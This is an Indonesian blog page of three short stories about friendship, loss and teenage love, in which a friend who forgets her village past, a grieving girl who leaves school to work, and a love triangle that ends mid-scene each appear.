Minggu, 29 Januari 2017

Kenangan Perahu Senja

Ombak berkejaran meraih pantai nyaris menyentuh pesisir. Tiada lelah tiada kesah. Ribut bergemuruh sepanjang hari tanpa henti. Datang lalu pergi dan begitu seterusnya. Tak berlalu pun tak berganti.

Bongkahan kayu menyatu dan terapung berselimutkan langit senja. Senja terindah! Dua onggok kayu beradu dalam air tuk melaju. Menatap fatamorgana nan remang di balik air.
“Tya, kamu beneran mau pindah ke kota?” Tanyaku datar dengan wajah sendu. Rasanya aku tak rela harus kehilangan sahabatku.
“Iya. Besok pagi aku berangkat. Tolong, jangan sedih kayak gitu! Aku kan gak pergi selamanya. Kalo ada waktu luang aku pasti balik karena aku punya sahabat di sini.” Tuturnya sambil tersenyum untuk mencoba menghiburku. Aku melonjak memelukknya dengan erat seakan tidak rela untuk melepaskannya pergi.
Itulah pelukan terakhir sebelum akhirnya kita berpisah untuk waktu yang lama. Aku akan sangat merindukannya. Merindukan sahabat yang selama ini selalu bersamaku dalam suka maupun duka.
*****

Hari silih berganti hinga merangkai bulan yang terus merajut tahun. Tya tak kunjung datang. Entah apa yang ia lakukan sekarang. Apa dia sedang merindukanku? Atau mungkin merencanakan hari untuk menemuiku?

Kini aku berada di tengah-tengah keramaian kota. Tempat yang ramai dan terasa asing. Mengantarkan saudaraku dengan harapan bisa bertemu dengan Tya.

DUUGGGGG!!!! Sebuah benda jatuh mengenai kepalaku yang sedang menunduk ingin mengambil sesuatu. “Aawww....” Pekikku. Ternyata sebuah makanan kaleng yang jatuh.
“Aduuhhh..., maaf, maafin gue! Gue gak sengaja tadi. Beneran deh. Aduuhhhh....” Ucapnya panik.
“Aku yang sakit kok dia yang aduh-aduh sih?” Pikirku. Aku pun berdiri sambil mengelus bagian kepala yang terkena kaleng itu. Untung saja keadaan di swalayan cukup sepi hingga tidak menjadi pusat perhatian.
“Astaga...!” Kaget sungguh kaget ketika aku melihat perempuan itu adalah Tya, sahabatku. “Tya? Kamu Tya kan? Wah, kamu udah berubah. Tambah cantik aja kamu, Tya.” Selorohku histeris melihat perubahannya yang tampak modern.
“I.., iya gue Tya. Loe siapa? Kok kenal gue?” Tanyanya dengan raut kebingungan.

Duuaaarrrrr! Seperti sambaran petir yang tengah menerjang. Tak menyangka, tak percaya, dan tak diduga. Dalam kurun waktu yang singkat dia melupakanku, sahabatnya. Mungkinkah dia hanya berpura-pura?
“Kok diem? Aduh, masih sakit ya? Sorry deh sorry....”
“Kamu? Kamu beneran gak ingat aku? Aku Lina.” Ujarku lesu. Organku terasa membeku, urat nadi erat menyatu, dan hati begitu pilu.
“Lina? Lina..?? Lina siapa ya?” Tanyanya lagi. Tiba-tiba ponselnya berdering dan ia segera membukanya. “Ya udah, gue pergi dulu. Soal tadi, sekali lagi gue minta maaf. Bye...” Pamitnya dan akhirnya beranjak meninggalkanku begitu saja.

Kamu pergi? Pergi gitu aja? Kamu bener-bener berubah. Kamu bukan Tya yang kukenal dulu. Kehidupan di kota merubahmu sedemikian hingga. Merubahmu menjadi diri yang lain. Diri yang tak mengenalku dan kukenal.
*****

Malam tak bertemankan bulan dan bintang. Hanya berselimutkan awan mendung. Gulita mengingatkan waktu silam yang kini kelam. Siapa yang salah? Tak ada yang salah. Tidak aku, tidak dia, dan tidak juga waktu. Keadaan? Tak ada yang bisa menyalahkan. Kini hanya tinggal kenangan.
“Kamu gak tidur, Lina? Besok pagi kan kamu balik ke kampung.” Tanya Rasty, sepupuku yang telah berdiri di sampingku.
“Aku belum ngantuk. Kamu tidur aja.” Pintaku. “Oh iya, apa suatu hari nanti kamu juga akan berubah seiring berjalannya waktu?” Tanyaku tiba-tiba.

Rasty pun duduk di sebelahku. “Kamu kenapa, Hen? Ada masalah?” Aku menggeleng. Tapi aku yakin dia dapat membaca raut wajahku. “Pasti terjadi sesuatu. Ayo, cerita!”

Aku menarik nafas panjang lalu menghelanya dengan panjang juga. “Tya. Aku tadi ketemu dia. Hanya saja...”
“Hanya saja?”
“Dia bukan Tya yang kukenal dulu. Dia sudah seperti orang lain.” Aku pun terdiam sesaat. “Ah udah lah, maaf ganggu waktumu yang seharusnya sudah tidur.” Ujarku sambil tersenyum kecil.

Rasty menepuk-nepuk lenganku dengan bermaksud untuk menenangkanku. “Segala sesuatu akan berubah kapan saja tanpa terkendali. Mungkin dia bukan yang kamu kenal dulu. Tapi berbanggalah karena kamu tetap dirimu yang dulu yang selalu merindukannya. Gak masalah dia berubah atau nggak, asal satu hal yang kamu tau yaitu kamu gak pernah lupain dia. Bisa jadi suatu hari nanti dia kembali menjadi Tya yang dulu.” Tuturnya panjang lebar dengan bijaksana.
“Aku mengerti.” Jawabku singkat.
“Malam semakin larut untuk menuju pagi. Waktu gak akan berhenti hanya untuk menunggumu merenungkan perubahan. Tidurlah!” ujarnya lalu beranjak. Aku hanya mengiyakan pintanya sebelum akhirnya ia berjalan jauh menuju kamarnya.

Aku hanya belum ngantuk. Aku masih ingin duduk bersama sunyinya malam. Rumah-rumah mewah yang tertutup dan gelap, jalan yang sepi, dan lampu jalan yang remang. Seperti beberapa kalimat dalam sebuah lagi. “Langit selalu gelap. Semua orang akan berpisah. Siapa pun tak akan dapat menemani orang lain selamanya.”
“Ok, gue tunggu besok pagi.” Terdengar perbincangan beberapa gadis di persimpangan.
“Gadis-gadis kota!” Ucapku dalam hati.
“Sip.., bye.” Mobil pun melaju meninggalkan seorang gadis di persimpangan yang jaraknya hanya hitungan meter dari tempatku bersantai.

Gadis itu berjalan nyaris melewatiku, sedang aku sendiri hanya menunduk tidak ambil pusing siapa gadis itu. Hingga dia menghentikan langkahnya dan berjalan mendekatiku. “Loe yang tadi siang itu kan? Siapa nama loe? Sorry, gue lupa.” Sapanya. Aku menengadahkan kepala dan akhirnya aku menyadari jika gadis itu adalah Tya.
“Lina. Namaku Lina.” Ucapku dingin sambil berdiri. “Dalam hitungan bulan kamu sudah lupain aku. Dan dalam hitungan jam kamu lupain namaku. Mungkin setelah ini dalam kurun waktu dekat, kamu benar-benar lupa semuanya.” Ucapku semakin dingin.
“Sewot amat loe. Gue baik-baik nyapa malah jawabnya gitu. Tau gini gue kagak nyapa loe.” Ujarnya kesal. “Ya udah lah gue cabut dulu. Gue malas debat apalagi malam-malam gini.” Lanjutnya kemudian beranjak.
“Kamu bener-bener berubah, Tya.” Selorohku setengah menjerit. Dia pun berhenti dan membalikkan tubuhnya menghadapku. “Aku kecewa. Kamu bukan Tya yang dulu. Aku rindu seorang Tya. Di mana Tya yang dulu? Kenapa kamu biarin dia berubah menjadi orang lain?” Ucapku menahan isak tangis.

Dia belum menjawab melainkan mendekatiku. “Tya yang dulu? Gue gak tau Tya yang dulu. Mungkin dia udah pergi. Dan gue gak kenal ama loe. Loe salah orang.” Tuturnya.
“Aku gak mungkin salah. Kamu Tya dan kamu sahabatku. Kamu kenapa tega lupain aku? Kenapa kamu lupain janji kamu? Tiap senja kita selalu mendayung perahu dan menikmatinya sambil bercanda. Kenapa kamu buang itu semua dari ingatanmu, Tya? Kenapa?” Ujarku menahan tangis sambil mengguncang lengannya berharap dia hanya pura-pura.
“Lepasin!” Sentaknya menepis tanganku. “Ya, gue emang Tya dan Tya yang dulu udah pergi. Dia udah lupain semua kenangan itu. Hidup ini terlalu indah untuk memandang masa lalu. Gak ada waktu mengingat masa lalu karena kita hidup di masa kini. Paham loe?” Amarahnya membuncah.

Aku sadar. Akhirnya aku tau jika dia memang sengaja melupakannya. Dia melupakan semua kenangan yang terajut indah karena hidupnya yang sekarang. Wajar atau kejam kah?
“Anggap kita gak pernah ketemu! Gue udah berubah dan bukan yang dulu loe kenal. Lupain soal kenangan senja atau perahu atau apa pun itu. Selamat malam.” Ujarnya lalu beranjak tanpa ingin mendengar apa yang akan aku katakan.

Gak ada waktu mengingat masa lalu karena kita hidup di masa kini? Kalimat yang memilukan. Ibarat dinding-dinding kerinduan yang terkoyak belati berasa perih. Mulut membisu dan air mata yang berbicara.
“Kamu jahat, Tya! Apa salahku sampe kamu kayak gitu?”
*****

Senja baru yang tidak biasa. Kini hanya aku sendiri bersama sejuknya udara tuk hempaskan rindu yang tak perlu. Senja itu, perahu itu, gemericik air itu, dan lampu remang itu hanyalah sisa-sisa kenangan. Yah, hanya sebait kenangan perahu senja. Tak ada yang berarti lagi.
“Hei, kamu!” Panggil seseorang dari belakang yang menghentikan renunganku. Aku menoleh dan kudapati seorang gadis yang belum pernah terlihat di kampung ini sebelumnya. “Ya, kamu! Kamu ngapain ngelamun sendiri?” Ucapnya seraya berjalan menghampiriku.
“Aku? Emm.., emang kenapa? Kamu siapa?” Tanyaku sambil memerhatikannya mengatur posisi duduk di sebelahku.
“Kenalin nama aku, Andin. Nama kamu siapa?” Tanyanya balik sambil mengulurkan tangannya.
“Namaku Lina.” Jawabku sambil menjabat tangannya. “Kamu warga baru? Aku gak pernah liat kamu sebelumnya.”
Dia menghela nafas. “Kalau gak pernah liat sebelumnya ya berarti aku warga baru. Pake tanya segala. Lagian kamu ngapain sore-sore gini nongkrong sendirian di sini? Gak takut apa kalo napa-napa?” Gerutunya seakan-akan sudah kenal dekat.

Kuamati dia dari ujung rambut sampai ujung kaki dan aku yakin dia anak kota. Mulai dari model rambutnya, pakaiannya, dan wajahnya. “Kamu.., dari kota kan?” Tebakku.
“Kalau iya kenapa, kalau nggak kenapa?” Tanyanya menatapku sambil tersenyum. Aku tidak menjawab. “Mau kota kek, desa kek, kampung kek, pelosok sekalian kek, menurutku sama aja.” Lanjutnya santai. “Eh kayaknya enak kali ya kalau dayung perahu sekarang ini? Pasti tenang dan terasa damai. Gimana menurutmu?” Tanyannya meminta pendapatku sambil tersenyum ceria menatap air pantai menari-nari di bawah senja.
“Kamu mau naik perahu? Aku bisa nemenin kamu. Berada di tengah-tengah sana rasanya indah sekali.” Timpalku lalu menunjuk tengah laut.
“Berdua doang? Kamu berani?” Tanyanya ragu. Aku hanya mengangguk sambil tersenyum kecil. “Wah.., ayo deh kalo gitu. Oh iya, kamu mau gak jadi sahabatku? Aku baru di sini dan kamu orang pertama yang aku kenal.” Ujarnya menawarkan persahabatan padaku.
“Sahabat? Boleh.” Jawabku singkat.
“Ya udah yuuukkk!” Ajaknya tidak sabar seraya menarik tanganku menuju perahu.

Mungkin inilah maksud dari ucapan pepatah “Ketika seorang sahabat meninggalkanmu, biarlah karena Tuhan akan memberimu yang lebih baik.” Jika demikian hendaknya, maka inilah awal aku merangkai kisah perahu senja yang baru bersama orang baru dan meninggalkan yang telah lalu bersama kenangan senja itu.

PROFIL PENULIS
Nama: Jun's
TTL: Bondowoso, 29 januari 2017
Alamat: Desa Yang Penuh Cinta.
Hobi: Membaca dan Menulis
Cita-cita: Penulis, dan Pengarang.
FB: https://www.facebook.com/003jun

Bibir Senja

Bibir Senja

Aku rindu pada bibir senja, adakah ia kan hadir kembali setelah sekian hari ia tak pernah aku jumpai. “widia” dialah sahabatku yang biasa ku tulis dalam diariku bibir senja. semenjak kematian ayahnya gadis imut berambut ikal mayang ini tak jarang membungkam diri, dia lebih banyak memilih untuk diam dari pada tersenyum.

Sebulan sebelum kematian pak nufus “ayah widia” seperti biasa di saat waktu senja yang tertuang adalah sajian senyum canda dan tawa segenap sahabat, semua lebih suka widia yang banyak tersenyum. Tapi kini bibir senja sudahlah tiada lagi. kini widia bukan widia yang dulu, yang tarian bibirnya mampu menjelmakan suasana terasa seperti di sudut nirwana.

Widia adalah sosok gadis yang berbakti pada orang tua, terpancar aura kepolosan dari tubuhnya mampu memberi kebeningan pada senja dari bening kedua matanya. Aku tahu apa yang dirasakan widia, anak semata wayang bu ratni ini masih sedih merasa kehilangan seorang ayah. Di sinilah aku mulai membuka memori yang dulu. ku pasang pandang kedua mataku pada perbatasan senja dan malam. dengan perlahan sisa semburan sinar matahari mulai sirna, angin yang berhembuspun mulai menebar aroma wangi sang malam.

Seiring terbukanya pintu malam terbukalah pintu masa laluluku. dulu aku juga pernah kehilangan seorang ayah, ketika aku berusia enam tahun, tapi aku tidak seperti widia yang setiap saat mengisi waktunya hanya dengan melamun. Saat itu rasa kabung melingkar dijiwaku, dan itu adalah sebuah kesedihan yang ngilu terasa dalam jiwa. Namun semua itu tak lama mengeram dibenakku, cukup seminggu aku merasa duka semua ku anggap angin lalu. atau mungkin karena saat itu aku baru berusia tunas hingga semudah itu aku bisa melupakan duka saat itu. sedangkan widia sekarang beranjak tiga belas tahun, mungkin ia sudah mengerti sungguh betapa berartinya kehadiran seorang ayah dalam hidupnya.

Tak terasa pandang yang ku pasang sudah di tepian malam. sungguh betapa aku terkejut, ketika aku baru sadar dari lamunanku ternyata widia ada disampingku.
“melamun yah…” widia menegurku, suaranya lirih tatapannya lurus tak berliuk.
“tumben kamu keluar rumah wid… senja sudahlah beranjak pergi dan kini datang malam… sepertinya ada yang ingin kau kabarkan padaku…” aku mencoba menebak maksud kedatangan widia.
“mungkin hari ini adalah terakhir aku bertatap denganmu…” widia berucap, wajahnya berlahan mulai memerah.
“emang kamu mau kemana…?” tanyaku penasaran.
“tak sengaja tadi siang aku mendengar obrolan bu rina dan bu epi, bahwa burina sedang mencari anak perempuan untuk bekerja di rumah makan majikannya. disitulah kemudian aku berpikir panjang, dan akhirnya kebulatan hatiku memutuskan aku saja yang ikut bu rina. lalu aku datangi burina dan meminta diri ikut bersamanya, burina tanpa berpikir panjang menyetujui permintaanku”. widia menjelaskan maksudnya. kedua matanya separuh keduh, sepertinya akan membuncah hujan dari sudut kedua matanya.
“oh… di rumah makan burina yang di jakarta…?” lagi lagi aku mencoba menebak.
“iyah benar…” widia berujar, dengan mata yang berkaca-kaca.
aku jadi ikut terharu melihat yang sebentar lagi akan mengosongkan diri dari ruang cahaya persahabatan.
“terus bagaimana dengan sekolahmu wid…?” tanyaku
“ya terpaksa aku berhenti. ayahku sudah tiada, ibu sudah tak ada yang membantu cari nafkah lagi. lagian ibu takan sanggup membiyayaiku sekolah yang masih lama, dua setengah tahun lagi kan…” widia menjelaskan.

Widia memang anak yang berbakti pada orang tua. dari matanya berlahan meneteskan air mata ketika ia bercerita tentang ibunya yang malang, bicaranyapun tak jelas karena menahan tangis, hidungnya yang mungil berujung merah mega. Yang dulu bibir widia adalah tarian senja, kini berubah menjadi bibir tangisan malam, karena basah oleh air mata malam itu
“ya sudah gak usah bersedih…” aku sedikit menghibur widia.
“aku percaya padamu wid… kau adalah gadis yang berpendirian teguh. semoga kau dapatkan apa yang kau harapkan, dan mungkin hanya ini yang bisa ku bekali untukmu sebagai sahabat sedari kecil hingga sekarang dan mungkin hari inilah persahabatan kita terputus… entah berapa lama akan terputus…” aku menyambung pembicaraan, terus menghibur widia.

Hitam malam semakin pekat merata ke segala angkasa, hanya ada bening di sisi rembulan dan bintang, udara yang berhembuspun terasa dingin menjilat kulitku.
waktu terus berjalan, hanya tinggal menanti pagi dan widia harus pergi. Selamat menyongsong hidup yang kau harapkan wid… semoga tuhan memberi terang pada jalan hidupmu…

Sahabat Jadi Cinta - Cerpen Persahabatan Cinta

https://www.facebook.com/anita.b.putri?fref=hovercard
Teman SAHABAT
Bel sekolah pun berbunyi tanda masuk kelas, aku masuk ke kelas dengan sahabatku yang bernama iqbal. Dia itu teman aku sejak kecil, orangnya sangat baik dan perhatian kepada semua orang terutama kepadaku sahabat terbaiknya. Karena dia orangnya sangat menyenangkan membuat aku selalu nyaman berteman dengannya.
“ iqbal, loe udah ngerjain tugas belum kalau udah gue nyontek donx” kataku
“ Akh loe bel bisanya nyontek melulu kapan loe bisa ngerjain tugas sendiri tanpa bntuan orang lain” jawab ikbal
“ He he he” aku malah tersenyum
“ Ekh mlah senyum nich tapi awas besok jangan nyontek lagi yach” kata iqbal
“ sok sift” jawabku
Akhirnya pelajaran pun selesai sekarang waktunya pulang, hari ini aku gak di jemput sama ilham cowokku. Dia lagi ada tugas di kampusnya karena dia sudah menjadi mahasiswa, aku dan dia cuman berbeda 2 tahun. Dari tempat parkiran kelihatan ikbal lagi ngeluarin motornya kemudian aku menghampirinya.
“ Ikbal tunggu, bareng yuk pulangnya” kataku kepada iqbal
“ ayo emang loe nga di jemput bel sama cowok loe” jawab iqbal
“ gak dia lagi ada tugas di kampusnya jadi gak bisa jemput gue hari ini, gue bareng loe yach” ucapku
“ Ayo, kita kan tetanggaan jadi pulangnya searah, ayo naek”ajak iqbal
“ ok thanx yach bal, loe emang temen terbaik gue” jawabku
“ Ia loe cuman nganggep gue temen terbaik loe, tapi gue pengennya lebih bel” kata ikbal di dalam hatinya.
“ Ayo buruan malah bengong”ajakku

Kami pun sudah nyampe di rumahku, tapi iqbal gak mampir dulu ke rumahku dia langsung pulang. Didalam rumah mamah sudah menungguku untuk mengajak makan siang bersama, beliau sudah menyiapkan makanan kesukaanku. Aku langsung ganti baju lalu bergabung di meja makan yang sudah ada adik-adikku, ayahku gak ada dia masih kerja pulangnya sore. Kamipun makan dengan lahap.

Dari luar rumah kedengeran ada yang memanggilku, ternyata dia iqbal ngajak aku main ke tempat biasa kita nongkrong bareng yang lain.
“ Hai bella” iqbal menyapaku
“ tunggu bentar aku ganti baju dulu bal” jawabku sambil masuk lagi ke dalam
“ bel sebenarnya aku pengen ngajak kamu ke suatu tempat yang menyenangkan karena aku menyukaimu tapi sayangnya kamu sudah ada yang punya” kata iqbal dalam hatinya
“maaf yach aku lama ganti bajunya” kataku
“ia gak apa-apa, ayo kita pergi” ajaknya

Setibanya di tempat biasa kita nongkrong, sudah banyak orang yang lagi asyik ngobrol dengan temannya masing-masing. Akupun menemui teman cewekku namanya cika, dia temen sebangkuku orangnya sangat baik dan menyenangkan, dia juga naksir sama iqbal tapi gak berani ngungkapinnya. Sedangkan iqbal menemui temen-temenya yang lain.
“ hai cik” akupun menyapanya
“ hai bel” cika balik nyapa
“ loe udah lama di sini cik” kataku
“ gak baru bentar, kok loe bareng ikabal ke sininya bel” tanya cika
“ ia, emangnya kenapa?” jawabku
“ gak kenapa – kenapa, emangnya ilham kemana gak bareng loe?” tanya cika
“ eum bilang aja loe cemburu gue bareng iqbal, ilham lagi ada tugas di kampusnya jadi gak bisa maen ke sini” jawabku
“ oh loe bisa saja, gue gak cemburu kok sama loe” kata cika
“ besok di sekolah ada tugas sama ulangan gak, cik?” tanyaku
“ kalau gak salah, gak ada bel” jawabnya
“ syukurlah kalau gak ada , gue lagi males belajar hari ini” kataku
“ eum emang tiap hari loe males belajar kalau gak di suruh sama ilham, tadi pagi juga kamu ngerjain PR di sekolah nyontek lagi yach sama iqbal” katanya
“ he he he” aku cuman tersenyum

Dari kejauhan iqbal memanggilku dia mengajakku pulang karena sudah sore sebentar lagi mau adzan maghrib, akupun berpamitan sama cika dan cikapun sebentar lagi mau pulang katanya. Akupun menghampiri iqbal yang lagi nungguin aku, kita pun langsung pulang tanpa kemana-mana dulu. Di depan rumah, mamahku sudah menunggu karena sudah sore banget aku baru pulang, aku terus diomelin tapi aku tidak menghiraukannya kemudian mamahku juga berhenti mengomel.
Keesokan harinya ketika aku sedang berjalan menuju gerbang sekolah mau pulang, tiba - tiba ilham mengagetkanku ternyata dia menjemputku, tetapi baru hari ini aku merasa aneh kenapa aku gak bahagia di jemput sama ilham malah berharap sekarang aku bisa pulang bersama iqbal. Ya allah apa yang sudah terjadi kepadaku, apa aku mulai menyukai iqbal akh itu gak mungkin tidak tidak aku hanya menganggap iqbal sahabat terbaikku saja.
“ Hai bel” sapa ilham tiba-tiba
“ eh kamu kirain siapa?”jawabku
“ emang nya kamu ngarepin nya siapa?” tanyanya
“ gak ngarepin siapa-siapa, di kiranya kamu masih sibuk ngerjain tugas kampus”
Jawabku
“ oh masalah itu sudah beres kok tugasnya, sorry yach kemarin aku gak bisa jemput kamu” katanya
“ gak apa-apa, aku kemarin pulang bareng sama iqbal” kataku
“ baguslah kalau kemarin kamu ada yang nganterin pulangnya” jawabku

Iqbalpun datang menghampiri kita berdua, dia cuman nyapa kita berdua terus dia pun pergi tanpa berkata apa-apa. Keliatannya dia lagi buru – buru, jadi gak sempat berbincang – bincang dulu sama kami.
“ itu iqbal buru – buru mau kemana” tanya ilham
“ gak tahu kayak nya ada keperluan, jadi harus buru – buru” jawabku
“ oh gitu iqbal itu sangat baik banget yach sama kamu “ kata ilham
“ ya iyalah dia baik karena aku sudah temenan dengan dia dari kecil” jawabku
“ tapi keliatannya dia itu suka sama kamu bel “ kata ilham
“ apa sich, gak mungkin dia cuman nganggep aku teman terbaiknya doanx” jawabku
“ ia kamu nya aja yang gak ngerasa, tapi aku bisa ngerasain dan melihat kalau dia itu suka sama kamu liat saja sikap dan perhatiannya sama kamu itu penuh dengan kasih sayang” kata ilham
“ udahlah itu cuman persaan kamu saja yang cemburu sama iqbal” jawabku

Ketika ilham bilang kalau iqbal itu suka sama aku perasaanku jadi tak menentu, hatiku mendadak dag dig dug tidak seperti biasanya. Apa benar yang di katakan ilham bahwa iqbal suka sama aku, akh itu gak mungkin itu cuman perasaan ilham saja.
“ ekh malah bengong lagi mikirin apa” ilham mengagetkanku
“ eum gak mikirin apa-apa, cuman lagi berpikir kalau sebaiknya kamu itu harus lebih jauh mengenal iqbal biar kamu gak cemburu terus” kataku
“ aku itu gak cemburu, cuman yang aku katakan itu semuanya benar” jawab ilham
“ udahlah, emang iqbal orangnya baik dan asyik, seru kalau berteman dengan dia walaupun kadang – kadang suka nyebelin juga” kataku
“ tuch kan kamu terus saja muji dia, emangnya gak bosen sedikit – sedikit kalau kita bertemu pasti saja selalu ngomongin dia” jawab ilham
“ apa sich kamu sensitif banget, kamunya yang duluan ngomongin iqbal” kataku
“ bukannya gitu, tapi emangnya gak bosen tiap harikita bertemu ngomongin iqbal terus, seharusnya kita itu ngomongin tentang hubungan kita” jawab ilham
“ ia sudah kita ngomongin yang lain saja, sorry kalau aku sudah menyakiti perasaanmu” kataku
“ ia udah lain kali jangan di ulangi lagi, sekarang kita mau kemana?” jawab ilham
“ kita pulang saja, aku pengen cepet istirahat capek tadi habis ada pelajaran olahraga” kataku
“ ia udah kalau gitu kita pulang” ajak ilham

Kita pun pulang, saat di perjalan pulang ke rumah kami tidak banyak bicara malah pada diam seribu bahasa. Sesampainya aku di rumah akupun turun dari motor, lalu aku mengajak iqbal mampir dulu ke rumah.
“ kita udah nyampe bel” kata ilham
“ oh ia makasih yach sudah nganterin aku pulang” jawabku
“ ia sama – sama itu sudah jadi tanggung jawab aku sebagai cowok kamu” kata ilham
“ ayo mampir dulu ke dalam, ketemu orangtuaku mereka nanyain kamu terus katanya sekarang kamu jarang main ke rumah” kataku
“ lain kali saja, aku ketemu orangtua kamu salamin aja pada mereka, sekarang aku belum sempet main ke rumahmu lagi karena sibuk” jawabnya
“ ia udah kalau gitu” kataku
“ aku pamit pulang dulu yach sampai ketemu besok” pamit ilham
“ ok hati – hati di jalan” kataku

Ketika aku sedang membantu ibu di dapur nyuci piring habis makan malam, tiba – tiba ada seseorang yang mengetuk pintu rumahku, lalu akupun membuka pintu dan ternyata itu iqbal. Tiba – tiba hatiku dag dig dug ketika melihat iqbal ada di hadapanku, akupun sangat senang saat melihat iqbal datang ke rumahku.
“ lagi sibuk bel” tanya iqbal
“ gue cuma lagi bantu ibu nyuci piring” sahutku
“ oh gue pikir gak lagi sibuk” jawab iqbal
“ emangnya ada apa?” kataku
“ ngga, tadinya gue mau ajak loe keluar, tapi ya udahlah lain kali aja bisa kan?” pinta iqbal
“ ngga apa – apa sekarang juga udah beres kok” kataku
“ oh baguslah kalau begitu” jawab ilham
“ emangnya kita mau kemana?” tanyaku
“ gue mau nunjukin sesuatu sama loe” jawab iqbal sambil tersenyum
“ mau nunjukin apa?” tanyaku penasaran
“ nanti juga loe tahu bel, ya udah kita berangkat yuk” ajak iqbal

Kami pun bergegas pergi dari rumahku, di jalan aku bertanya – tanya sebenarnya iqbal mau ajak aku kemana tidak seperti biasanya malem – malem gini dia ngajak aku keluar dan mau nunjukin sesuatu apa yach jadi bingung. Iqbal bilang tempatnya sedikit jauh jadi aku bersabar, aku semakin penasaran saja apa yang mau iqbal tunjukin ke aku. Beberapa saat kemudian iqbalpun berhenti di suatu tempat sebelumnya kami belum pernah datang ke tempat ini, tempatnya itu tidak terlalu ramai dan tidak terlalu sepi.
“ kita kok berhenti disini bal” tanyaku bingung
“ ia emang ini tempatnya” jawab iqbal
“ terus apa yang mau loe tunjukin ke gue” tanyaku lagi
“ ia sudah tapi kamu jangan marah yach, soalnya aku sudah lama mempersiapkan ini semuanya cuman nunggu waktu yang tempat saja mudah – mudahan ini adalah waktu yang tepat buat aku jujur” jawab iqbal
“ ada apa sich ngomongnya mulai aku kamu dan mau jujur apa? makin penasaran aja” sahutku
“ bentar, tunggu dulu sebentar disini yach” jawab iqbal

Lalu iqbal berjalan entah mau kemana, aku di suruh nunggu semakin penasaran saja apa yang mau iqbal tunjukin ke aku, gak terlalu jauh iqbal melambaikan tangannya menyuruhku menghampirinya entah apa yang sedang dia lakukan di sana, semakin membuatku penasaran saja. Setelah aku samapai disana, ternyata iqbal menunjukan kunang – kunang yang berada di tepian danau itu sangat indah banget tapi aku terkejut di pingir danau ada lilin – lilin yang bernyala yang membentuk kata I love you, aku sangat kaget dan tidak menyangka kalau iqbal akan menyatakan perasaannya padaku.
“ bel, aku sangat cinta dan sayang sama kamu, tapi kamu udah punya pacar” sahut iqbal
“ loe nembak gue bal” tanyaku serius
“ ia bel, maaf aku memendam semua perasaanku selama ini karena aku gak bisa jujur karena kamu udah punya cowok” jawab iqbal
“ sudah lama loe memendam semua ini ke gue” tanyaku lagi
“ ia bel sudah cukup lama, dan aku baru berani mengatakannya sekarang karena aku sudah gak tahan melihat kamu berdua terus sama ilham, apalagi tadi siang di gerbang sekolah hatiku merasa sakit bel melihat kalian berdua ngobrol” jawab iqbal
“ kenapa gak dari dulu bilangnya bal? Sebelum gue jadian sama ilham” tanyaku
“ aku cuman takut kamu akan menolakku dan merusak persahabatan yang sudah kita bangun dari kecil bel, makanya selama ini aku pendam perasaan ini” sahut iqbal
“ jujur saja aku juga mulai menyukai kamu lebih dari sekedar sahabat bal, ketika kita pulang bareng waktu itu. Hatiku mulai aneh berdebar dag dig dug ketika dekat denganmu” jawabku mengakui
“ jadi gimana bel hubungan kita sekarang” tanya iqbal sangat serius
“ gimana yach aku juga jadi bingung, kamu telat bal aku sekarang sudah sama ilham, aku juga gak ingin membuat ilham kecewa kepadaku” jawabku
“ bener bel aku telat mengatakan ini semua, tapi sekarang aku lega sudah mengungkapkan perasaanku yang selama ini aku pendam. Terus kita bagaimana sekarang?” tanya iqbal lagi
“ ia sekarang kita sudah tahu tentang perasaan kita masing – masing, tapi kita gak bisa jadi sepasang kekasih, kita masih jadi sahabat terbaik saja seperti biasanya” jawabku
“ ia bel aku gak mau kehilanganmu, gak apa – apa sekarang kita bersahabat dulu ke depannya gak tahu apa yang akan terjadi sama kita” kata iqbal
“ makasih ia bal, kamu sudah mau ngertiin situasi aku” jawabku
“ ia bel sama – sama” kata iqbal

Malam itu aku dan iqbal pun sangat bahagia, karena aku tidak menyangka kalau iqbal akan menyatakan perasaanya kepadaku, tapi di sisi lain aku pun bingung dengan ilham karena aku juga menyukai dia. Tapi iqbal orang nya sangat pengerti dia pun bisa menerima ini semua kami masih jadi sahabat terbaik, malem itu pun kami pulang dengan hati berbunga – bunga.

Keesokan harinya di sekolah aku menceritakan kejadian waktu malem itu ke cika, walaupun aku tahu kalau cika itu menyukai iqbal juga tapi aku bingung harus menceritakan ini semua kepada siapa lagi karena cuman cika sahabat terbaikku dan yang bisa menjaga rahasiaku.
“ cik gue mau curhat nich” kataku
“ emangnya mau curhat apa? Kayanya serius dech” tanya cika
“ ia tapi loe jangan marah yach?” jawabku
“ kenapa gue harus marah? makin panasaran saja” tanya cika
“ semalem iqbal nembak gue” jawabku
“ apa?” kata cika kaget
“ ia gue juga tahu, loe suka sama iqbal tapi gue bingung harus curhat kepada siapa lagi selain loe, cik” kataku
“ ia gak apa – apa curhat aja, sebenarnya gue sudah tahu dari dulu kalau iqbal itu menyukai loe, bel” jawab cika
“ masa sich cik, sekarang gue harus bagaimana yach cik?” tanyaku
“ bagaimana dengan perasaanmu sekarang” tanya cika balik
“ gue juga bingung cik, gue suka sama ilham tapi belakangan ini gue juga suka sama iqbal.” Jawabku
“ kalau gini jadi bingung ngasih solusinya juga, ia sudahlah sekarang loe ikutin aja apa isi hati loe, bel” kata cika
“ makasih cik atas sarannya, loe emang sahabat terbaikku” kataku
“ ia sama – sama, kita sebagai sahabat harus saling membantu” jawab cika
“ sekali lagi makasih banget, cik” kataku

Guru pun masuk, kami memulai pelajaran dengan khidmat karena sekarang pelajaran sejarah gurunya sangat galak, jadi semua murid takut semuanya pada diam mendengarkan apa yang lagi di terangkan sang guru.

Bel sekolah berbunyi waktunya pulang hari ini aku gak di jemput sama ilham katanya ada acara. Aku di minta cika untuk mengantarnya ke toko buku, kita pergi naik angkutan umum. Di perjalanan kita melihat ilham lagi jalan sama cewek, gak tahu siapa cewek itu aku baru lihat. Hati ini merasa terbakar melihat ilham pegangan tangan sangat mesra dengan cewek itu, kita pun menghampiri mereka ilham sangat kaget melihat kita ada di sana.
“ hai ilham, cewek ini siapa” sapa aku mengagetkannya
“ diii aaaaa” jawab ilham sambil terbata – bata
“ ini siapa sayang” kata cewek itu sama ilham
“ apa dia memangilmu sayang, sebenarnya dia siapa?” kataku agak berteriak
“ aku pacarnya, dan kamu siapa?” timbal cewek itu lagi
“ apa kamu pacarnya, dari kapan kalian berpacaran” kataku agak marah
“ kami baru aja jadian, kira – kira baru 1 bulanan” jawab wanita itu lagi
“ ternyata selama ini kamu ada tugas kampus, ada acara bilangnya. Ini yang kamu lakukan di belakangku selingkuh dengan cewek lain.” Kataku
“ dengarkan aku dulu bel”
